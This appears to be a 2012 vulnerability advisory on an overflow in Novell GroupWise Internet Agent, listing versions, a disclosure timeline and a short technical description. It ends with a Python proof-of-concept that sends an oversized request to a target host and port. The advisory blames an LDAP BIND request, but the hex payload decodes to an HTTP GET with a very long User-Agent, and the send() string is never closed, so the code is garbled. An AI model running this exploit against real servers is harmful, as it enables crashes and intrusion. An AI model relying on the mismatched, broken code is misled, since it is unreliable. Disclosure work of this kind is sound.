An overflow error occurs in GroupWise Internet Agent (gwia.exe) when the LDAP service process receives an overly long BIND Request. Successful exploitation may allow execution of arbitrary code. Versions 8.0.2 HP3 and 2012 are affected. Proof of concept code included.
98eedb4ebf1ead9211c4ee8e6803edef89885b9d7e3884dac106b273c25e0aa7
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Application: Novell Groupwise
Platforms: Windows
Version: 8.0.2 HP3 and 2012
Secunia: SA50622
{PRL}: 2012-33
ZDI: ??
Novell TID: 5150711
Author: Francis Provencher (Protek Research Lab's)
Website: http://www.protekresearchlab.com/
Twitter: @ProtekResearch
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1) Introduction
2) Report Timeline
3) Technical details
4) The Code
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===============
1) Introduction
===============
Novell, Inc. is a global software and services company based in Waltham, Massachusetts. The company specializes in
enterprise operating systems, such as SUSE Linux Enterprise and Novell NetWare; identity, security, and systems
management solutions; and collaboration solutions, such as Novell Groupwise and Novell Pulse. Novell was instrumental
in making the Utah Valley a focus for technology and software development. Novell technology contributed to the
emergence of local area networks, which displaced the dominant mainframe computing model and changed computing
worldwide. Today, a primary focus of the company is on developing open source software for enterprise clients.
(http://en.wikipedia.org/wiki/Novell)
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============================
2) Report Timeline
============================
2011-06-02 Vulnerability reported to ZDI
2012-09-14 Novell Publish a patch
2012-11-13 Publication of this advisory
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============================
3) Technical details
============================
The vulnerability is caused due to an overflow error in GroupWise Internet Agent (gwia.exe)
when the LDAP service process an overly long BIND Request.
Successful exploitation may allow execution of arbitrary code.
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===========
4) The Code
===========
#!/usr/bin/python
import sys,os,socket
if len(sys.argv) < 3:
print "Usage: host,port"
sys.exit(0)
host=sys.argv[1]
port=int(sys.argv[2])
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host,port))
sock.send("\x47\x45\x54\x20\x2F\x20\x48\x54\x54\x50\x2F\x31\x2E\x30\x0D\x0A\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x4C\x65\x6E\x67\x74\x68\x3A\x20\x2D\x31\x0D\x0A\x45\x78\x70\x69\x72\x65\x73\x3A\x20\x4D\x6F\x6E\x2C\x20\x30\x32\x20\x4A\x75\x6E\x20\x31\x39\x38\x32\x20\x30\x30\x3A\x30\x30\x3A\x30\x30\x20\x47\x4D\x54\x0D\x0A\x46\x72\x6F\x6D\x3A\x20\x61\x61\x61\x61\x61\x40\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x2E\x63\x6F\x6D\x0D\x0A\x49\x66\x2D\x4D\x6F\x64\x69\x66\x69\x65\x64\x2D\x53\x69\x6E\x63\x65\x3A\x20\x4D\x6F\x6E\x2C\x20\x30\x32\x20\x4A\x75\x6E\x20\x31\x39\x38\x32\x20\x30\x30\x3A\x30\x30\x3A\x30\x30\x20\x47\x4D\x54\x0D\x0A\x4C\x61\x73\x74\x2D\x4D\x6F\x64\x69\x66\x69\x65\x64\x3A\x20\x4D\x6F\x6E\x2C\x20\x30\x32\x20\x4A\x75\x6E\x20\x31\x39\x38\x32\x20\x30\x30\x3A\x30\x30\x3A\x30\x30\x20\x47\x4D\x54\x0D\x0A\x52\x65\x66\x65\x72\x65\x72\x3A\x20\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x2E\x63\x6F\x6D\x2F\x0D\x0A\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74\x3A\x20\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
print "done!"
sock.close()
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